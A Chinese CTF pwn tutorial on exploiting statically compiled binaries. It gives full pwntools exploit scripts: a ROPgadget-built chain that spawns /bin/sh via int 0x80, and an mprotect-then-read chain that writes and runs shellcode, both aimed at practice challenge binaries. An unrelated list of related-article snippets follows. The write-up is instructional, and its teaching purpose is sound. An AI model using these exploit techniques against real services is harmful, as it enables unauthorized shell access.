[pwn]静态编译

静态编译

1. 栈足够大的情况下

  1. 程序在ida打开后,左侧的函数栏目没有红色(系统调用的函数),而只有一些静态函数,通常这类文件的大小会必普通的pwn题程序要大得多。

    image-20240701143838909

  2. 这种静态编译的题没有调用库函数,也就没有使用libc,自然我们也没法泄漏libc的基地址,可以直接使用 ROPgadget 来搜索,利用程序中的一些指令片段,来拼凑出 call system("/bin/sh") 的效果。

    ROPgadget --binary rop --ropchain
    
  3. 搜索到的指令如下,指令平凑起来就相当于一个 call system("/bin/sh") 函数,在栈溢出的返回地址处填入这串指令的地址(也可以直接在ida中看到)即可顺利执行:

    image-20240701144642727

    image-20240701145054442

  4. EXP:

    from pwn import *
    from struct import pack
    context(os='linux', arch='amd64', log_level='debug')# p1=remote("node5.buuoj.cn",29851)
    p1 = process("./rop")p = b'a'*(0x0c+4)
    #下面是各种指令的地址
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    p1.sendline(p)
    p1.sendline(b"cat flag")
    p1.interactive()

2. 栈不够大,需要往内存页面上写入mprotect函数修改内存页面权限

  1. ida打开,发现存在栈溢出,但是溢出的长度只有 0x64-0x12-0x4*2 ,不足以在栈上写入有地址,所以要改变方法:往内存页面上写入shellcode,再执行。

    image-20240701202949147

  2. 往内存上写数据前,要修改写入页面的权限为 可读可写可执行 ,mprotect函数的声明,参数说明如下:

    注意 :再指定内存页面的起始地址时要保证 对齐 到页面边界上,即addr的第三位必须是 000(4) = 000000000000 保证其能被 4k = 1000000000000(2) = 0x1000(16) 整除,长度为4k=0x1000 的整数倍否则将报错,最后内存保护标志可以按数字标记,将各个权限数字相加即可 可读可写可执行 = 0x7

    #include <sys/mman.h>
    int mprotect(void *addr, size_t len, int prot);
    

    image-20240701203738010

    image-20240701205311443

  3. 修改完内存页面权限后就可以往上写入shellcode代码,利用read函数,传入页面的地址,写入的大小,还有选项,最后read返回执行写入的汇编代码。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show',28208)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']# pop_ebx_esi_ebp_ret = 0x080a019b   # 0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
# pop_ebx_esi_ebp_ret = 0x08056194   # 0x08056194 : pop eax ; pop edx ; pop ebx ; ret
# pop_ebx_esi_ebp_ret = 0x08061c3b    # 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
pop_ebx_esi_ebp_ret = 0x08061c3b    # 0x08069cbd : pop esi ; pop edi ; pop ebx ; ret#页面起始地址
M_addr = 0x080Db000
#页面大小
M_size = 0x1000
# 权限
M_proc = 0x7#调用protect函数修改内存页面M_addr位置的权限,调用完成后利用pop+ret指令衔接到read函数
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
#调用read函数向M_addr上写入shellcode,最后退出read函数时ret调用M_addr处的shellcode代码
payload += p32(read_addr)+ p32(M_addr) + p32(0) + p32(M_addr) + p32(M_size)#先发送一次payload,修改完权限,并且再read函数的等待输入
io.sendline(payload)
shellcode = asm(shellcraft.sh())
#第二次发送payload,给read函数写入shellcode代码
io.sendline(shellcode)
io.recv()
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/41361.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

百度云智能媒体内容分析一体机(MCA)建设

导读 &#xff1a;本文主要介绍了百度智能云MCA产品的概念和应用。 媒体信息海量且复杂&#xff0c;采用人工的方式对视频进行分析处理&#xff0c;面临着效率低、成本高的困难。于是&#xff0c;MCA应运而生。它基于百度自研的视觉AI、ASR、NLP技术&#xff0c;为用户提供音视…

Vue 性能革命:揭秘前端优化的终极技巧;Vue优化技巧,解决Vue项目卡顿问题

目录 Vue优化路径 一、使用key 二、使用冻结对象 三、使用函数式组件 四、使用计算属性 五、使用非实时绑定的表单项 六、保持对象引用稳定 6.1、保持对象引用稳定定义 6.2、保持对象引用稳定与不稳定的例子 6.3、vue2判断数据是否变化是通过hasChanged函数实现的 ①…

2024年【四川省安全员B证】考试及四川省安全员B证考试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年【四川省安全员B证】考试及四川省安全员B证考试题&#xff0c;包含四川省安全员B证考试答案和解析及四川省安全员B证考试题练习。安全生产模拟考试一点通结合国家四川省安全员B证考试最新大纲及四川省安全员B证…

golang项目中gorm框架的配置和具体使用

最近在改造golang项目&#xff0c;从postgre数据库迁移到达梦数据库&#xff0c;我还想在改造后的项目使用 gorm 操作数据库&#xff0c;保持较小的改动。查找了不少资料&#xff0c;最终从以下两篇文章中借鉴了不少 1、Gorm 入门介绍与基本使用 这篇知乎文章详细介绍了 gorm 框…

C语言 -- 操作符详解​

C语言 -- 操作符详解​ 1. 操作符的分类2. 二进制和进制转换​2.1 2进制转10进制​2.1.1 10进制转2进制数字​ 2.2 2进制转8进制和16进制​2.2.1 2进制转8进制​2.2.2 2进制转16进制​ 3. 原码、反码、补码​4. 移位操作符​4.1 左移操作符​ 4.2 右移操作符​5. 位操作符&…

Symfony实战手册:PHP框架的高级应用技巧

引言 Symfony是一个功能强大且广泛应用于PHP应用程序开发的框架&#xff0c;它提供了许多高级特性和工具&#xff0c;可以帮助开发人员更高效地构建和管理复杂的Web应用程序。以下是Symfony框架的几个关键方面及其高级应用技巧&#xff1a; 1. 路由和控制器 Symfony的路由组…

suricata7 rule格式

suricata 7.0.5 suricata rule由三部分组成&#xff0c; action, header, options action,决定当前规则匹配上后需要执行的动作header,定义当前规则的协议&#xff0c;IP地址&#xff0c;端口&#xff0c;方向options,定义了具体的规则 一、 action 合法的action值有&#x…

Linux_共享内存通信

目录 1、共享内存原理 2、申请共享内存 2.1 ftok 2.2 测试shmget、ftok 2.3 查看系统下的共享内存 3、关联共享内存 3.1 测试shmat 4、释放共享内存 4.1 测试shmctl 5、实现共享内存通信 6、共享内存的特性 结语 前言&#xff1a; 在Linux下&#xff0c;有一…

爆!Java高级特性之Stream API详解

爆&#xff01;Java高级特性之Stream API详解 Java 8引入的Stream API可以说是一个革命性的特性,让我们告别了又臭又长的for循环,迎来了函数式编程的春天。今天就让我们来一起深入了解这个让人又爱又恨的Stream API吧! 什么是Stream? Stream就像一个高级的迭代器,允许我们以…

分支与循环

目录 1. if语句 1&#xff09;if 2) else 3&#xff09;分支中包含多条语句 4&#xff09;if嵌套 2.关系操作符 3.条件操作符 4.逻辑操作符&#xff1a;&& || ! 1) 逻辑取反运算符 !​编辑 2 与运算符​编辑 3) 或运算符​编辑 4) 闰年的判断 5) 短路 …

LangChain 概述 (模块索引)

文章目录 一、下载二、核心功能1、流式传输 streaming 三、LCEL四、组成部分1、Promp template2、Example selectors (示例选择器)3、Chat models (聊天模型)4、Messages (消息)5、LLMs (大语言模型) 一、下载 二、核心功能 其中包括以下内容&#xff1a; 从模型中返回结构化的…

若依 Vue 前端分离 3.8.8 版中生成的前端代码中关于下拉框只有下拉箭头的问题

生成代码修改前 <el-form-item label"课程学科" prop"subject"><el-select v-model"queryParams.subject" placeholder"请选择课程学科" clearable><el-optionv-for"dict in course_subject":key"dict…

Mysql中常用函数的使用示例

场景 基础知识回顾&#xff1a;mysql中常用函数的使用示例。 注&#xff1a; 博客&#xff1a;霸道流氓气质-CSDN博客 实现 数学函数 -- ABS(x)返回x的绝对值 SELECT ABS(-1),ABS(2); -- PI()返回圆周率 SELECT PI(); -- SQRT(x)返回非负数x的二次方根 SELECT SQRT(4); -…

【博士每天一篇文献-算法】Adult neurogenesis acts as a neural regularizer

阅读时间&#xff1a;2023-12-20 1 介绍 年份&#xff1a;2022 作者&#xff1a;Lina M. Tran&#xff0c;Adam Santoro&#xff0c;谷歌DeepMind 期刊&#xff1a; Proceedings of the National Academy of Sciences 引用量&#xff1a;13 代码&#xff1a;https://github.c…

A4-C四驱高防轮式巡检机器人

在当今数字化和智能化迅速发展的时代&#xff0c;旗晟智能带来了一款革命性的创新产品——A4-C四驱高防轮式巡检机器人。这款机器人以其卓越的性能和多功能性&#xff0c;为工业巡检领域带来了全新的解决方案。 一、产品亮点 1、四驱动力与高防护设计 四驱高防轮式巡检机器人…

ASUS/华硕枪神4 G532L G732L系列 原厂win10系统 工厂文件 带F12 ASUS Recovery恢复

华硕工厂文件恢复系统 &#xff0c;安装结束后带隐藏分区&#xff0c;一键恢复&#xff0c;以及机器所有驱动软件。 系统版本&#xff1a;Windows10 原厂系统下载网址&#xff1a;http://www.bioxt.cn 需准备一个20G以上u盘进行恢复 请注意&#xff1a;仅支持以上型号专用…

GPT-2怎么做翻译任务?

首先需要知道的是GPT-2无论在训练还是推理过程都是只使用了transformer decoder&#xff0c;并没有使用encoder结构&#xff0c;那么它是怎么做的翻译任务呢&#xff1f; 使用transformer encoderdecoder的著名架构有&#xff1a; 最原始的transformer model&#xff08;Atte…

计算机应用数学--第一次作业

第一次作业计算题编程题 &#xff08;20分&#xff09; 第一次作业 计算题 &#xff08;20分&#xff09;求 E ( X ) E(X) E(X)&#xff0c; V a r ( X ) Var(X) Var(X) &#xff08;1&#xff09; X X X 服从 [ a , b ] [a,b] [a,b] 均匀分布。 &#xff08;2&#xff09;…

操作系统期末必考概念大纲(整理·全)

第一章 1、 操作系统的概念 2、 计算机发展的四个阶段 3、 手工操作阶段、批处理系统阶段、多道程序系统阶段、分时操作系统阶段、通用操作系统阶段 4、 批处理系统&#xff08;联机、脱机&#xff09; 5、 操作系统的6个基本类型 6、 多道批处理特征 7、 分时系统特点 8、 算法…

第二节-K8s词汇表

关键字词汇表 https://kubernetes.io/zh-cn/docs/reference/glossary/?fundamentaltrue API Group (API 组)Kubernetes API 中的一组相关路径。 API 服务器亦称作:kube-apiserver API 服务器是 Kubernetes 控制平面的组件&#xff0c; 该组件负责公开了 Kubernetes API&…